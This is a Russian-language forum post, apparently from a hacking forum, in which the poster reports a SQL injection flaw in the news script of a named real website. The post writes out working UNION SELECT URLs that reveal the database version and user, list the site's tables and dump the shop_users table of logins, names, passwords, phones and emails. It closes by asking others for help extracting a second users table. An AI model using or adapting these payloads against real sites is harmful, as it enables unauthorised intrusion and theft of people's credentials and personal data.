24.10.2007, 14:16
|
|
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695
Репутация:
524
|
|
www.doctor-al.ru
Код:
http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user()),5,6,7/*&type=article
5.0.24a:doctor_al_ru:doctor_al_ru@localhost
60 таблиц:
Код:
http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,table_name,5,6,7+from+information_schema.tables+limit+60,1/*&type=article
Таблица shop_users:
Код:
http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,concat(login,0x3a,name,0x3a,password,0x3a,phone,0x3a,email),5,6,7+from+shop_users+limit+0,1/*&type=article
данные в формате: "логин:имя:пасс:телефон:мыл ".
Есть таблица users, но данные из неё достать не получается. Подскажите, буду благодарен...
В таблице users есть поля login, password, tel, tel_2, full_name, email, email_2, icq
|
|
|